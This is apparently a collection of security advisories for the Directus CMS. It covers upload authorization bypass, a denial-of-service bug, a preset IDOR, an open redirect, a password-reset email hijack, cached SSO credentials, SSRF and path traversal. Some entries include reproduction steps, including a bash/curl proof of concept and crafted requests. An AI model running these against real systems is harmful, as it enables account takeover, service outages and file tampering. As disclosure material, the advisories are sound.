Package Instance

Directus: TUS Upload Authorization Bypass Allows Arbitrary File Overwrite
## Summary

Directus' TUS resumable upload endpoint (`/files/tus`) allows any authenticated user with basic file upload permissions to overwrite arbitrary existing files by UUID. The TUS controller performs only collection-level authorization checks, verifying the user has some permission on `directus_files`, but never validates item-level access to the specific file being replaced. As a result, row-level permission rules (e.g., "users can only update their own files") are completely bypassed via the TUS path while being correctly enforced on the standard REST upload path.

## Impact

- **Arbitrary file overwrite:** Any authenticated user with basic TUS upload permissions can overwrite any file in `directus_files` by UUID, regardless of row-level permission rules.
- **Permanent data loss:** The victim file's original stored bytes are deleted from storage and replaced with attacker-controlled content.
- **Metadata corruption:** The victim file's database record is updated with the attacker's filename, type, and size metadata.
Privilege escalation potential: If admin-owned files (e.g., application assets, templates) are stored in `directus_files`, a low-privilege user could replace them with malicious content.

## Workaround

Disable TUS uploads by setting `TUS_ENABLED=false` if resumable uploads are not required.

## Credit

This vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).

Directus is soft-locked by providing a string value to random string util
### Describe the Bug

Providing a non-numeric length value to the random string generation utility will create a memory issue breaking the capability to generate random strings platform wide. This creates a denial of service situation where logged in sessions can no longer be refreshed as sessions depend on the capability to generate a random session ID.

### To Reproduce

1. Test if the endpoint is working and accessible, `GET http://localhost:8055/utils/random/string`
2. Do a bad request `GET http://localhost:8055/utils/random/string?length=foo`
3. After this all calls to `GET http://localhost:8055/utils/random/string` will return an empty string instead of a random string
4. In this error situation you'll see authentication refreshes fail for the app and api.

### Impact

This counts as an unauthenticated denial of service attack vector so this impacts all unpatched instances reachable over the internet.

Directus has an insecure object reference via PATH presets
### Impact
Directus v10.13.0 allows an authenticated external attacker to modify presets created by the same user to assign them to another user. This is possible because the application only validates the user parameter in the `POST /presets` request but not in the PATCH request. When chained with [CVE-2024-6533](https://github.com/directus/directus/security/advisories/GHSA-9qrm-48qf-r2rw), it could result in account takeover.

This vulnerability occurs because the application only validates the user parameter in the `POST /presets` request but not in the PATCH request.

### PoC
To exploit this vulnerability, we need to do the follow steps using a non-administrative, default role attacker account.

1. Create a preset for a collection.

Store the preset id, or use it if it already exists from `GET /presets`. The following example will use the direct_users preset.

```bash
TARGET_HOST="http://localhost:8055" ATTACKER_EMAIL="malicious@malicious.com" ATTACKER_PASSWORD="123456" root_dir=$(dirname $0) mkdir "${root_dir}/static" curl -s -k -o /dev/null -w "%{http_code}" -X 'POST' "${TARGET_HOST}/auth/login" \ -c "${root_dir}/static/attacker_directus_session_token" \ -H 'Content-Type: application/json' \ -d "{\"email\":\"${ATTACKER_EMAIL}\",\"password\":\"${ATTACKER_PASSWORD}\",\"mode\":\"session\"}" attacker_user_id=$(curl -s -k "${TARGET_HOST}/users/me" \ -b "${root_dir}/static/attacker_directus_session_token" | jq -r ".data.id") # Store all user's id curl -s -k "${TARGET_HOST}/users" \ -b "${root_dir}/static/attacker_directus_session_token" | jq -r ".data[] | select(.id != \"${attacker_user_id}\")" > "${root_dir}/static/users.json"

# Choose the victim user id from the previous request
victim_user_id="4f079119-2478-48c4-bd3a-30fa80c5f265"
users_preset_id=$(curl -s -k -X 'POST' "${TARGET_HOST}/presets" \
  -H 'Content-Type: application/json' \
  -b "${root_dir}/static/attacker_directus_session_token" \
  --data-binary "{\"layout\":\"cards\",\"bookmark\":null,\"role\":null,\"user\":\"${attacker_user_id}\",\"search\":null,\"filter\":null,\"layout_query\":{\"cards\":{\"sort\":[\"email\"]}},\"layout_options\":{\"cards\":{\"icon\":\"account_circle\",\"title\":\"{{tittle}}\",\"subtitle\":\"{{ email }}\",\"size\":4}},\"refresh_interval\":null,\"icon\":\"bookmark\",\"color\":null,\"collection\":\"directus_users\"}"  | jq -r '.data.id')
```

2. Modify the presets via `PATCH /presets/{id}`.

With the malicious configuration and the user ID to which you will assign the preset configuration. The user ID can be obtained from `GET /users`. The following example modifies the title parameter.

```bash
curl -i -s -k -X 'PATCH' "${TARGET_HOST}/presets/${users_preset_id}" \
    -H 'Content-Type: application/json' \
    -b "${root_dir}/static/attacker_directus_session_token" \
    --data-binary "{\"layout\":\"cards\",\"bookmark\":null,\"role\":null,\"user\":\"${victim_user_id}\",\"search\":null,\"filter\":null,\"layout_query\":{\"cards\":{\"sort\":[\"email\"]}},\"layout_options\":{\"cards\":{\"icon\":\"account_circle\",\"title\":\"PoC Assign another users presets\",\"subtitle\":\"fakeemail@fake.com\",\"size\":4}},\"refresh_interval\":null,\"icon\":\"bookmark\",\"color\":null,\"collection\":\"directus_users\"}"
```

Notes:

Each new preset to a specific collection will have an integer consecutive id independent of the user who created it.

The user is the user id of the victim. The server will not validate that we assign a new user to a preset we own.

The app will use the first id preset with the lowest value it finds for a specific user and collection. If we control a preset with an id lower than the current preset id to the same collection of the victim user, we can attack that victim user, or if the victim has not yet defined a preset for that collection, then the preset id could be any value we control. Otherwise, the attacker user must have permission to modify or create the victim presets.

When the victim visits the views of the modified presets, it will be rendered with the new configuration applied.

Directus has open redirect in SAML
## Security Advisory: Open Redirect in Directus SAML Authentication

### Summary

An open redirect vulnerability exists in the Directus SAML authentication callback endpoint. The `RelayState` parameter is used in redirects without proper validation against an allowlist of permitted domains.

### Vulnerability Description

During SAML authentication, the `RelayState` parameter is intended to preserve the user's original destination. However, while the login initiation flow validates redirect targets against allowed domains, this validation is not applied to the callback endpoint. This allows an attacker to craft a malicious authentication request that redirects users to an arbitrary external URL upon completion.

The vulnerability is present in both the success and error handling paths of the callback.

### Impact

- **Phishing**: Users can be redirected to attacker-controlled sites that mimic legitimate login pages
- **Credential theft**: Chained attacks may leverage the redirect to capture OAuth tokens or authorization codes
- **Trust erosion**: Users may lose confidence in the application's security posture

This vulnerability can be exploited without authentication.

Duplicate Advisory: Improper access control in Directus
## Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-3fff-gqw3-vj86. This link is maintained to preserve external references.

## Original Description
Directus v10.13.0 allows an authenticated external attacker to modify presets created by the same user to assign them to another user. This is possible because the application only validates the user parameter in the 'POST /presets' request but not in the PATCH request. When chained with CVE-2024-6533, it could result in account takeover.

Directus has MySQL accent insensitive email matching
## Password reset vulnerable to accent confusion

The password reset mechanism of the Directus backend is implemented in a way where combined with (specific, need to double check if i can work around) configuration in MySQL or MariaDB. As such, it allows attackers to receive a password reset email of a victim user, specifically having it arrive at a similar email address as the victim with a one or more characters changed to use accents. 

This is due to the fact that by default MySQL/MariaDB are configured for accent-insenstive and case-insensitve comparisons.

MySQL weak comparison:
```sql
select 1 from directus_users where 'julian@cure53.de' = 'julian@cüre53.de';
```

This is exploitable due to an error in the API using the supplied email address for sending the reset password mail instead of using the email from the database.

### Steps to reproduce:

1. If the attacker knows the email address of the victim user, i.e., `julian@cure53.de`. (possibly just the domain could be enough for an educated guess)
2. A off-by-one accented domain `cüre53.de` can be registered to be able to receive emails.
3. With this email the attacker can request a password reset for `julian@cüre53.de`. 
```http
POST /auth/password/request HTTP/1.1
Host: example.com
[...]
{"email":"julian@cüre53.de"}
```
4. The supplied email (julian@cüre53.de) gets checked against the database and will match the non-accented email `julian@cure53.de` and will continue to email the password reset link to the provided email address instead of the saved email address.
5. With this email the attacker can log into the target account and use it for nefarious things

### Workarounds
Should be possible with collations but haven't been able to confirm this. 

### References
- https://www.monolune.com/articles/what-is-the-utf8mb4_0900_ai_ci-collation/
- https://dev.mysql.com/doc/refman/8.0/en/charset-unicode-sets.html

Session is cached for OpenID and OAuth2 if `redirect` is not used
### Summary
Unauthenticated user can access credentials of last authenticated user via OpenID or OAuth2 where the authentication URL did not include `redirect` query string.

For example:
- Project is configured with OpenID or OAuth2
- Project is configured with cache enabled
- User tries to login via SSO link, but without `redirect` query string
- After successful login, credentials are cached
- If an unauthenticated user tries to login via SSO link, it will return the credentials of the other last user

The SSO link is something like `https://directus.example.com/auth/login/openid/callback`, where `openid` is the name of the OpenID provider configured in Directus

### Details
This happens because on that endpoint for both OpenId and Oauth2 Directus is using the `respond` middleware, which by default will try to cache GET requests that met some conditions. Although, those conditions do not include this scenario, when an unauthenticated request returns user credentials.
For OpenID, this can be seen here:
https://github.com/directus/directus/blob/main/api/src/auth/drivers/openid.ts#L453-L459
And for OAuth2 can be seen here
https://github.com/directus/directus/blob/main/api/src/auth/drivers/oauth2.ts#L422-L428

### PoC
- Create a new Directus project
- Set `CACHE_ENABLED` to true
- Set `CACHE_STORE` to `redis` for reliable results (if using memory with multiple nodes, it may only happen sometimes, due to cache being different for different nodes)
- Configure `REDIS` with redis string or redis host, port, user, etc.
- Set `AUTH_PROVIDERS` to `openid`
- Set `PUBLIC_URL` to the the main URL of your project . 	For example, `PUBLIC_URL: http://localhost:8055`
- Configure `AUTH_OPENID_CLIENT_ID`, `AUTH_OPENID_CLIENT_SECRET`, `AUTH_OPENID_ISSUER_URL` with proper OpenID configurations
- Be sure that on OpenID external app you have configured Redirect URI to `http://localhost:8055/auth/login/openid/callback`
- Run Directus
- Open the SSO link like `http://localhost:8055/auth/login/openid/callback`
- Do the authentication on the OpenID external webpage
- Verify that it you got redirected to a page with a JSON including `access_token` property
- Be sure all anonymous mode windows are closed
- Open an anonymous window and go to the SSO Link `http://localhost:8055/auth/login/openid/callback` and see you have the same credentials, even though you don't have any session because you are in anonymous mode

### Impact
All projects using OpenID or OAuth 2, that does not include `redirect` query string on loggin in users.

Directus Vulnerable to Information Leakage in Existing Collections
### Summary:

An observable difference in error messaging was found in the Directus REST API. The `/items/{collection}` API returns different error messages for these two cases:
1. A user tries to access an existing collection which they are not authorized to access.
2. A user tries to access a non-existing collection.

The two differing error messages leak the existence of collections to users which are not authorized to access these collections.

### Details:

The following response returns an error message, when requesting a collection the user is not authorized to access.

```
GET /items/no-access
{
  "errors": [
    {
      "message": "You don't have permission to access collection \"no-access\" or it does not exist. Queried in root.",
      "extensions": {
        "reason": "You don't have permission to access collection \"no-access\" or it does not exist. Queried in root.",
        "code": "FORBIDDEN"
      }
    }
  ]
}
```

The following response returns a different error message when requesting a collection which does not exist.

```
GET /items/does-not-exist
{
  "errors": [
    {
      "message": "You don't have permission to access this.",
      "extensions": {
        "code": "FORBIDDEN"
      }
    }
  ]
}
```

### Impact:

The difference in errors between non-existent collections and collections blocked by permissions leak the existence of a collection to a user which is not authorized to access this object.

### Credit:

Sebastian Krause - [Hackmanit GmbH](https://hackmanit.de)

Directus vulnerable to SSRF Loopback IP filter bypass
### Impact
If you're relying on blocking access to localhost using the default `0.0.0.0` filter this can be bypassed using other registered loopback devices (like `127.0.0.2` - `127.127.127.127`)

### Workaround
You can block this bypass by manually adding the `127.0.0.0/8` CIDR range which will block access to any `127.X.X.X` ip instead of just `127.0.0.1`.

Server-Side Request Forgery in Directus
Directus versions v9.0.0-beta.2 through 9.6.0 are vulnerable to server-side request forgery (SSRF) in the media upload functionality, which allows a low privileged user to perform internal network port scans.

Directus' exact version number is exposed by the OpenAPI Spec
### Summary

The exact Directus version number is incorrectly being used as OpenAPI Spec version this means that it is being exposed by the `/server/specs/oas` endpoint without authentication. 

### Impact

With the exact version information a malicious attacker can look for known vulnerabilities in Directus core or any of its shipped dependencies in that specific running version.

Directus: Path Traversal and Broken Access Control in File Management API
## Summary

A broken access control vulnerability was identified in the Directus file management API that allows authenticated users to overwrite files belonging to other users by manipulating the `filename_disk` parameter.

## Details

The `PATCH /files/{id}` endpoint accepts a user-controlled `filename_disk` parameter. By setting this value to match the storage path of another user's file, an attacker can overwrite that file's content while manipulating metadata fields such as `uploaded_by` to obscure the tampering.

## Impact

- **Unauthorized File Overwrite**: Attackers can replace legitimate files with malicious content, creating significant risk of malware propagation and data corruption.
- **Remote Code Execution**: If the storage backend is shared with the extensions location, attackers can deploy malicious extensions that execute arbitrary code when loaded.
- **Data Integrity Compromise**: Files can be tampered with or replaced without visible indication in the application interface.

## Mitigation

The `filename_disk` parameter should be treated as a server-controlled value. Uniqueness of storage paths must be enforced server-side, and `filename_disk` should be excluded from the fields users are permitted to update directly.